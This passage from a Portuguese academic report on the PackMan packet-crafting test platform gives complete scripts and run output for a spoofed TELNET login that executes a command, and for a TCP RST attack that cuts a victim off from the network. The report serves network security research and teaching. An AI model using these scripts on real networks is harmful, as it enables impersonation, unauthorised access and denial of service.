      header : DATA {
        l1              "\13"
      }
    }
  };
```

Com o empacotador, “packer” montam-se os pacotes e os inserem no arquivo “out_pack” para sua utilização no gerenciador de pacotes.

Então, arquivo descritor do autômato tem a seguinte aparência:

```
init 38 states;
load headers : "./headers";
load packets : "./packer/out_pack";
bpf = "tcp and port 23";
iface = "eth0";
verbose on;
create state LOCK1;
create state LOCK2;
create state SEND_SYN;
create state GET_SYN_ACK;
create state FINISH_HANDSHAKE;
create state SEND_FIRST;
create state WAIT_FIRST;
create state SEND_FIRST_ACK;
create state SEND_SECOND;
create state WAIT_SECOND;
```

```
create state SEND_THIRD;
create state WAIT_THIRD;
create state SEND_FOURTH;
create state WAIT_FOURTH;
create state SEND_FIFTH;
create state WAIT_FIFTH;
create state SEND_SIXTH;
create state WAIT_SIXTH;
create state SEND_LOGIN;
create state WAIT_PWD_QUERY;
create state SEND_PWD;
create state WAIT_CRLF;
create state SEND_CRLF_ACK;
create state WAIT_LASTLOGIN;
create state SEND_LASTLOGIN_ACK;
create state WAIT_PROMPT;
create state SEND_COMMAND;
create state WAIT_COMMAND_ACK;
create state SEND_CR;
create state WAIT_CONFIRM;
create state SEND_CONFIRM_ACK;
create state WAIT_ONE_MORE_ACK;
create state SEND_ONE_MORE_ACK;
create state SEND_FIN_ACK;
create state WAIT_FIN_ACK;
create state SEND_LAST_ACK;
create state UNLOCK;
create state BYEBYE;

var{
  u_int32_t saddr = 0x0a040106
  u_int32_t daddr = 0x0a010102
  u_int16_t sport = 1040
  u_int32_t seq = 1
  u_int32_t ack = 1
  u_int16_t id = 1
  u_int32_t tmp = 0
};

state LOCK1 shell {
  command : "iptables -A INPUT -p tcp --source-port 23 -s 10.1.1.2/24 -j DROP"
  next state : LOCK2
};

state LOCK2 shell {
  command : "iptables -A OUTPUT -p icmp -j DROP"
  next state : SEND_SYN
};

state SEND_SYN  send_pack{
  pack_id : 1
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
```

```
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : GET_SYN_ACK
} <         $seq = [1]{IP}>TCP.seqnum + 1
            $id = $id + 1
  >;

state GET_SYN_ACK recv_pack{
  ( next state: FINISH_HANDSHAKE
    check:          {IP}>TCP.acknum == $seq
  )
} <         $ack = [GET_SYN_ACK]{IP}>TCP.seqnum + 1
  >;

state FINISH_HANDSHAKE send_pack{
  pack_id: 1
  but:      IP.id = $id and
            IP.daddr = $daddr and
            IP.saddr = $saddr and
            {IP}>TCP.sport = $sport and
            {IP}>TCP.seqnum = $seq and
            {IP}>TCP.flags = 0x10 and
            {IP}>TCP.acknum = $ack and
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : SEND_FIRST
} <         $id = $id + 1
  >;

state SEND_FIRST send_pack{
  pack_id: 2
  but:      IP.id = $id and
            IP.daddr = $daddr and
            IP.saddr = $saddr and
            {IP}>TCP.sport = [GET_SYN_ACK]{IP}>TCP.dport and
            {IP}>TCP.seqnum = $seq and
            {IP}>TCP.acknum = $ack and
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_FIRST
} <         $id = $id + 1
            $seq = $seq + [2]IP.totlen
            $seq = $seq - 40
  >;

state WAIT_FIRST recv_pack{
  ( next state: SEND_FIRST_ACK
    check:      {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <         $ack = $ack + [WAIT_FIRST]IP.totlen
            $ack = $ack - 40
  >;

state SEND_FIRST_ACK send_pack{
  pack_id: 1
  but:      IP.id = $id and
            IP.daddr = $daddr and
```

```
            IP.saddr = $saddr and
            {IP}>TCP.sport = $sport and
            {IP}>TCP.seqnum = $seq and
            {IP}>TCP.flags = 0x10 and
            {IP}>TCP.acknum = $ack and
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : SEND_SECOND
} <         $id = $id + 1
            $seq = $seq + [1]IP.totlen
            $seq = $seq - 40
  >;

state SEND_SECOND send_pack{
  pack_id: 3
  but:      IP.id = $id and
            IP.daddr = $daddr and
            IP.saddr = $saddr and
            {IP}>TCP.sport = $sport and
            {IP}>TCP.seqnum = $seq and
            {IP}>TCP.acknum = $ack and
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_SECOND
} <         $id = $id + 1
            $seq = $seq + [3]IP.totlen
            $seq = $seq - 40
  >;

state WAIT_SECOND recv_pack{
  ( next state: SEND_THIRD
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <         $ack = $ack + [WAIT_SECOND]IP.totlen
            $ack = $ack - 40
  >;

state SEND_THIRD send_pack{
  pack_id: 4
  but:      IP.id = $id and
            IP.daddr = $daddr and
            IP.saddr = $saddr and
            {IP}>TCP.sport = $sport and
            {IP}>TCP.seqnum = $seq and
            {IP}>TCP.acknum = $ack and
            {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_THIRD
} <         $id = $id + 1
            $seq = $seq + [4]IP.totlen
            $seq = $seq - 40
  >;

state WAIT_THIRD recv_pack{
  ( next state: SEND_FOURTH
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
```

```
  )
} <       $ack = $ack + [WAIT_THIRD]IP.totlen
          $ack = $ack - 40
  >;

state SEND_FOURTH send_pack{
  pack_id: 5
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_FOURTH
} <       $id = $id + 1
          $seq = $seq + [5]IP.totlen
          $seq = $seq - 40
  >;

state WAIT_FOURTH recv_pack{
  ( next state: SEND_FIFTH
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_FOURTH]IP.totlen
          $ack = $ack - 40
  >;

state SEND_FIFTH send_pack{
  pack_id: 6
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_FIFTH
} <       $id = $id + 1
          $seq = $seq + [6]IP.totlen
          $seq = $seq - 40
  >;

state WAIT_FIFTH recv_pack{
  ( next state: SEND_SIXTH
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_FIFTH]IP.totlen
          $ack = $ack - 40
  >;

state SEND_SIXTH send_pack{
  pack_id: 7
```

```
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_SIXTH
} <       $id = $id + 1
          $seq = $seq + [7]IP.totlen
          $seq = $seq - 40
  >;

state WAIT_SIXTH recv_pack{
  ( next state: SEND_LOGIN
    check:        {IP}>TCP.acknum == $seq and
                  {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_SIXTH]IP.totlen
          $ack = $ack - 40
  >;

state SEND_LOGIN send_pack{
  pack_id: 8
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_PWD_QUERY
} <       $id = $id + 1
          $seq = $seq + [8]IP.totlen
          $seq = $seq - 40
  >;

state WAIT_PWD_QUERY recv_pack{
  ( next state: SEND_PWD
    check:        {IP}>TCP.acknum == $seq and
                  {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_PWD_QUERY]IP.totlen
          $ack = $ack - 40
  >;

state SEND_PWD send_pack{
  pack_id: 9
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
```

```
  next state : WAIT_CRLF
} <       $id = $id + 1
          $seq = $seq + [9]IP.totlen
          $seq = $seq - 40
  >;

state WAIT_CRLF recv_pack{
  ( next state: SEND_CRLF_ACK
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_CRLF]IP.totlen
          $ack = $ack - 40
  >;

state SEND_CRLF_ACK send_pack{
  pack_id: 1
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.flags = 0x10 and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_LASTLOGIN
} <       $id = $id + 1
  >;

state WAIT_LASTLOGIN recv_pack{
  ( next state: SEND_LASTLOGIN_ACK
    check:          {IP}>TCP.acknum == $seq and
                    {IP}>TCP.flags == 0x18
  )
} <       $ack = $ack + [WAIT_LASTLOGIN]IP.totlen
          $ack = $ack - 40
  >;

state SEND_LASTLOGIN_ACK send_pack{
  pack_id: 1
  but:    IP.id = $id and
          IP.daddr = $daddr and
          IP.saddr = $saddr and
          {IP}>TCP.sport = $sport and
          {IP}>TCP.seqnum = $seq and
          {IP}>TCP.flags = 0x10 and
          {IP}>TCP.acknum = $ack and
          {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_PROMPT
} <       $id = $id + 1
  >;

state WAIT_PROMPT recv_pack{
  ( next state: SEND_COMMAND
    check:          {IP}>TCP.acknum == $seq and
```

```
                {IP}>TCP.flags == 0x18
  )
} <     $ack = $ack + [WAIT_PROMPT]IP.totlen
        $ack = $ack - 40
  >;

state SEND_COMMAND send_pack{
  pack_id: 10
  but:  IP.id = $id and
        IP.daddr = $daddr and
        IP.saddr = $saddr and
        {IP}>TCP.sport = $sport and
        {IP}>TCP.seqnum = $seq and
        {IP}>TCP.acknum = $ack and
        {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_COMMAND_ACK
} <     $id = $id + 1
        $seq = $seq + [10]IP.totlen
        $seq = $seq - 40
  >;

state WAIT_COMMAND_ACK recv_pack{
  ( next state: SEND_CR
    check:      {IP}>TCP.acknum == $seq and
                {IP}>TCP.flags == 0x10
  )
} <     $ack = $ack + [WAIT_COMMAND_ACK]IP.totlen
        $ack = $ack - 40
  >;

state SEND_CR send_pack{
  pack_id: 11
  but:  IP.id = $id and
        IP.daddr = $daddr and
        IP.saddr = $saddr and
        {IP}>TCP.sport = $sport and
        {IP}>TCP.seqnum = $seq and
        {IP}>TCP.acknum = $ack and
        {IP}>TCP.cksum = std_cksum(TCP)
  next state : WAIT_CONFIRM
} <     $id = $id + 1
        $seq = $seq + [11]IP.totlen
        $seq = $seq - 40
  >;

state WAIT_CONFIRM recv_pack{
  ( next state: SEND_CONFIRM_ACK
    check:      {IP}>TCP.acknum == $seq and
                {IP}>TCP.flags == 0x18
  )
} <     $ack = $ack + [WAIT_CONFIRM]IP.totlen
        $ack = $ack - 40
  >;

state SEND_CONFIRM_ACK send_pack{
```

```
 pack_id: 1
 but:    IP.id = $id and
         IP.daddr = $daddr and
         IP.saddr = $saddr and
         {IP}>TCP.sport = $sport and
         {IP}>TCP.seqnum = $seq and
         {IP}>TCP.flags = 0x10 and
         {IP}>TCP.acknum = $ack and
         {IP}>TCP.cksum = std_cksum(TCP)
 next state : WAIT_ONE_MORE_ACK
} <      $id = $id + 1
 >;

state WAIT_ONE_MORE_ACK recv_pack{
 ( next state: SEND_ONE_MORE_ACK
   check:        {IP}>TCP.acknum == $seq and
                 {IP}>TCP.flags == 0x18
 )
} <      $ack = $ack + [WAIT_ONE_MORE_ACK]IP.totlen
         $ack = $ack - 40
 >;

state SEND_ONE_MORE_ACK send_pack{
 pack_id: 1
 but:    IP.id = $id and
         IP.daddr = $daddr and
         IP.saddr = $saddr and
         {IP}>TCP.sport = $sport and
         {IP}>TCP.seqnum = $seq and
         {IP}>TCP.flags = 0x10 and
         {IP}>TCP.acknum = $ack and
         {IP}>TCP.cksum = std_cksum(TCP)
 next state : SEND_FIN_ACK
} <      $id = $id + 1
 >;

state SEND_FIN_ACK send_pack{
 pack_id: 1
 but:    IP.id = $id and
         IP.daddr = $daddr and
         IP.saddr = $saddr and
         {IP}>TCP.sport = $sport and
         {IP}>TCP.seqnum = $seq and
         {IP}>TCP.flags = 0x11 and
         {IP}>TCP.acknum = $ack and
         {IP}>TCP.cksum = std_cksum(TCP)
 next state : WAIT_FIN_ACK
} <      $id = $id + 1
         $seq = $seq + 1
 >;

state WAIT_FIN_ACK recv_pack{
 ( next state: SEND_LAST_ACK
   check:        {IP}>TCP.acknum == $seq and
                 {IP}>TCP.flags == 0x11
```

```
 )
} <     $ack = $ack + 1
       $ack = $ack + [WAIT_FIN_ACK]IP.totlen
       $ack = $ack - 40
 >;

state SEND_LAST_ACK send_pack{
 pack_id: 1
 but:  IP.id = $id and
       IP.daddr = $daddr and
       IP.saddr = $saddr and
       {IP}>TCP.sport = $sport and
       {IP}>TCP.seqnum = $seq and
       {IP}>TCP.flags = 0x10 and
       {IP}>TCP.acknum = $ack and
       {IP}>TCP.cksum = std_cksum(TCP)
 next state : UNLOCK
} <     $id = $id + 1
       $seq = $seq + 1
 >;

state UNLOCK shell {
 command : "iptables -F"
 next state : BYEBYE
};

state BYEBYE finish;

play!;
bye;
```

Algumas observações sobre a descrição acima:

- Esta descrição trata-se de um *address spoofing*, pois graças às variáveis pôde-se modificar o endereço destino e origem a qualquer momento.
- Estando em uma máquina X (e.g. 10.1.1.1) pode-se criar uma seção em Y (e.g. 10.1.1.2) se autenticando como se estivesse em Z (e.g. 10.4.1.6);
- Ou seja, um usuário em 10.1.1.1 cria uma seção TELNET em 10.1.1.2 como se estivesse em 10.4.1.6, executa em comando (que no caso permanece após o encerramento da seção) e se termina a seção.
- Importante destacar também que os estados do tipo SHELL foram utilizados para lidar com o filtro do kernel (no caso, através do utilitário *iptables*);

- Com as novas facilidades, este processo pode facilmente ser portado para outro ambiente de rede;

Durante a execução da máquina de estados tem-se a seguinte resposta da máquina:

```
# ./packman ./sessions/telnet_spoof.las
PackMan 06/11/2002 v0.999 - Daniel Pupim Kano
Supervised by PhD. Prof. Paulo Licio de Geus -- Sponsored by FAPESP

State LOCK1 : Running "iptables -A INPUT -p tcp --source-port 23 -s 10.1.1.2/24 -j DROP"...
State LOCK2 : Running "iptables -A OUTPUT -p icmp -j DROP"...
State SEND_SYN : Sending pack #1... sent.
State GET_SYN_ACK : Waiting for a packet...got!
State FINISH_HANDSHAKE : Sending pack #1... sent.
State SEND_FIRST : Sending pack #2... sent.
State WAIT_FIRST : Waiting for a packet...got!
State SEND_FIRST_ACK : Sending pack #1... sent.
State SEND_SECOND : Sending pack #3... sent.
State WAIT_SECOND : Waiting for a packet...got!
State SEND_THIRD : Sending pack #4... sent.
State WAIT_THIRD : Waiting for a packet...got!
State SEND_FOURTH : Sending pack #5... sent.
State WAIT_FOURTH : Waiting for a packet...got!
State SEND_FIFTH : Sending pack #6... sent.
State WAIT_FIFTH : Waiting for a packet...got!
State SEND_SIXTH : Sending pack #7... sent.
State WAIT_SIXTH : Waiting for a packet...got!
State SEND_LOGIN : Sending pack #8... sent.
State WAIT_PWD_QUERY : Waiting for a packet...got!
State SEND_PWD : Sending pack #9... sent.
State WAIT_CRLF : Waiting for a packet...got!
State SEND_CRLF_ACK : Sending pack #1... sent.
State WAIT_LASTLOGIN : Waiting for a packet...got!
State SEND_LASTLOGIN_ACK : Sending pack #1... sent.
State WAIT_PROMPT : Waiting for a packet...got!
State SEND_COMMAND : Sending pack #10... sent.
State WAIT_COMMAND_ACK : Waiting for a packet...got!
State SEND_CR : Sending pack #11... sent.
State WAIT_CONFIRM : Waiting for a packet...got!
State SEND_CONFIRM_ACK : Sending pack #1... sent.
State WAIT_ONE_MORE_ACK : Waiting for a packet...got!
State SEND_ONE_MORE_ACK : Sending pack #1... sent.
State SEND_FIN_ACK : Sending pack #1... sent.
State WAIT_FIN_ACK : Waiting for a packet...got!
State SEND_LAST_ACK : Sending pack #1... sent.
```

State UNLOCK : Running "iptables -F"...
State BYEBYE : Game over, man!!

Verificando os últimos usuários do host 10.1.1.2 tem-se que o usuário *zeh* iniciou uma seção da máquina 10.4.1.6:

```
# lastlog -u zeh
Username         Port     From             Latest
zeh              pts/0    10.4.1.6         Sat Nov  23 18:30:52 -0700 2002.
```

E o processo do usuário continua ativo:

```
# ps -aux | grep zeh
zeh       2514  0.0  0.8  1444  472 ?        SN   18:30   0:00 ping -q 10.1.1.1
```

3.4.2. ISOLAMENTO DE UMA MÁQUINA

Este exemplo é uma simples aplicação da plataforma como uma forma bastante simples, mas muito interessante, de ataque. Ele consiste em não permitir que uma determinada máquina (ou um conjunto delas) conectada(as) a uma rede local não consiga(am) utilizar nenhum (ou somente alguns) serviço(os) da rede. Basicamente este exemplo permanece "escutando" o cabo de rede até que um pacote provindo da vítima (seja ele de início de conexão, ou de "meio" de conexão) seja capturado. Com a captura deste pacote, um pacote de RESET é enviado a quem requisitou a conexão e este não consegue iniciar nenhuma (ou somente as permitidas).

Primeiramente, assim como no exemplo anterior, se preenche os campos já sabidos de antemão dos pacotes a serem enviados e os monta utilizando o *packer*:

```
load headers : "../headers";
out_pack_file : "out_pack" {
  packet #1 {
    header : IP {
          hlen          5
          ver           4
          tos           0x10
          totlen        40
          id            1
```

```
            frag        0x4000
            ttl         0x40
            proto       6
            cksum       0
            saddr       0.0.0.0
            daddr       0.0.0.0
        }

        header : TCP {
            sport       0
            dport       23
            seqnum      0
            acknum      0
            unused1     0
            hlen        0x5
            flags       0x04
            unused2     0
            win         0
            cksum       0
            urgp        0
        }
      }
    };
```

Feita a montagem dos pacotes, inicia-se a descrição do comportamento da máquina de estados para se alcançar o efeito desejado da seguinte maneira:

```
init 4 states;
load headers : "./headers";
load packets : "./packer/out_pack";
bpf = "tcp";
iface = "eth0";
create state GET_NUMBERS;
create state RESET_CONNECTION;
create state DONT_LET_IT_START;
create state BYEBYE;
verbose on;

var{
  u_int32_t victim = 0x0a010104
};

state GET_NUMBERS recv_pack{
  ( next state:   GET_NUMBERS
    check:        {IP}>TCP.dport == 22
  ) or
  ( next state:   GET_NUMBERS
    check:        {IP}>TCP.sport == 22
  ) or
```

```
 ( next state:   DONT_LET_IT_START
   check:        {IP}>TCP.flags == 0x02 and
                 IP.saddr == $victim
 ) or
 ( next state:   RESET_CONNECTION
   check:        {IP}>TCP.flags == 0x18 and
                 IP.saddr == $victim
 )
};

state DONT_LET_IT_START send_pack{
 pack_id: 1
 but:    IP.saddr = [GET_NUMBERS]IP.daddr and
         IP.daddr = [GET_NUMBERS]IP.saddr and
         {IP}>TCP.sport  = [GET_NUMBERS]{IP}>TCP.dport and
         {IP}>TCP.dport  = [GET_NUMBERS]{IP}>TCP.sport and
         {IP}>TCP.seqnum = 0 and
         {IP}>TCP.acknum = [GET_NUMBERS]{IP}>TCP.seqnum + 1 and
         {IP}>TCP.flags         = 0x14 and
         {IP}>TCP.cksum  = std_cksum(TCP)
 next state : GET_NUMBERS
};

state RESET_CONNECTION send_pack{
 pack_id: 1
 but:    IP.saddr = [GET_NUMBERS]IP.daddr and
         IP.daddr = [GET_NUMBERS]IP.saddr and
         {IP}>TCP.sport  = [GET_NUMBERS]{IP}>TCP.dport and
         {IP}>TCP.dport  = [GET_NUMBERS]{IP}>TCP.sport and
         {IP}>TCP.seqnum = [GET_NUMBERS]{IP}>TCP.acknum and
         {IP}>TCP.cksum  = std_cksum(TCP)
 next state : GET_NUMBERS
};

state BYEBYE finish;

play!;
bye;
```

Esta máquina de estados possui três estados significativos: o “get numbers”, o “reset connection” e o “dont let it start”. O primeiro estado é o responsável pelas ‘decisões’ a serem tomadas. Este estado, do tipo recv_pack, permanece esperando por pacotes provindos da rede. É interessante observar que a precedência das regras é de cima para baixo, ou seja, se uma regra foi satisfeita as demais a baixo não são verificadas. Neste caso todo tipo de conexão e início de conexão são *resetadas*, com exceção do serviço de SSH residente na porta 22. No início da plataforma podem haver dois tipos de possíveis vítimas: a conexão já iniciada e um pedido de conexão.

Cada um destes casos têm uma resposta diferente para se *resetar* a conexão. O estado "dont let it start", como o nome já diz, ao perceber um pacote com SYN este é invocado e um RST é enviado de volta. Já o "reset connection" é invocado caso seja percebida uma transação de dados em uma conexão já aberta.

Desse modo, apesar da máquina vítima (no caso, 10.1.1.4) estar conectada a uma rede, esta perdeu totalmente sua conectividade com a rede pois recebe um RST a cada tentativa de conexão. Mas, isto funciona apenas para quando a máquina vítima tenta acessar algo de fora da rede local, pois o tempo de resposta da plataforma é maior que o tempo de resposta de uma máquina situada na rede local, portanto a vítima está restrita à rede local.

4. RESULTADOS E CONCLUSÃO

O projeto de desenvolvimento de uma plataforma de testes para segurança de redes foi um projeto de dois anos de duração que proporcionou ao bolsista uma grande aquisição de conhecimento em diversas áreas da computação.

Este iniciou com o desenvolvimento de pequenas ferramentas para análise de tráfego de rede. Tal instante inicial possibilitou agregar um bom conhecimento da linguagem C para as etapas que viriam a seguir. Além disso, as ferramentas criadas, embora simples, proporcionaram uma boa fixação dos conceitos de rede e serviu de um ótimo laboratório de aprendizado ao verificar *no cabo* como uma implementação do modelo TCP/IP funciona.

Seguindo o processo de desenvolvimento, houve o contato com a elaboração de uma linguagem, embora de escopo específico, e sua implementação utilizando ferramentas existentes em ambiente UNIX que possibilitaram o acesso a técnicas de síntese de estruturas de dados através de uma descrição utilizando expressões regulares.

No momento auge do desenvolvimento os conhecimentos de redes, protocolos, programação C, verificação de eficiência e estruturas de dados foram cruciais para detectar problemas e poder saná-los.

Em seus últimos instantes, quando foram realizados testes para comprovar a validade da plataforma, pôde-se perceber que uma ferramenta muito interessante tinha sido criada. Um ferramenta que permite flexibilidade e modularidade tal que pode servir para muitos fins. Além de sua própria finalidade, a de gerar cenários diversos para teste de um ambiente de rede de computadores, tal ferramenta pode ser utilizada para fins didáticos, em momentos em que se pode aprender criando sua própria pilha TCP/IP, ou para simplesmente 'brincar' com pacotes e observar resultados interessantes com as diversas possibilidades de combinações de valores. Dessa forma todo o cronograma foi executado.

Segundo Ano	Jan	Fev	Mar	Abr	Mai	Jun	Jul	Ago	Set	Out	Nov	Dez
Modificação de pacotes no envio	o	o										
Alterações no módulo de recepção			o	o								
Histórico				o								
Execução de comandos em shell e filtragem					o							
Obtenção dos offsets absolutos dos campos					o							
Testes						o						
Reestruturação interna							o	o	o			
Criação de variáveis								o	o	o		
Testes, análise e possíveis alterações										o	o	o

o: parte concluída do cronograma

5. BIBLIOGRAFIA

- Stevens, W. R.. TCP/IP Illustrated, Volume I: The Protocols. Addison-Wesley, 1994.
- Levine, J., Mason, T. e Brown, D.. Lex & Yacc. O'Reilly, 1992.
- Stevens, W. R.. UNIX Network Programming, second edition Networking APIs: Sockets and XTI. Prentice Hall, 1998.
- Comer, D. E., Stevens, D. L.. Internetworking with TCP/IP, Volume III: BSD socket version. Prentice Hall, 1993.

- Arkin, O.. ICMP Usage in Scanning, 2000, http://www.sys-security.com.
- Request for Coments e artigos científicos
- Linux Documentation Project, Howtos e Mini-howtos, http://www.linuxdoc.org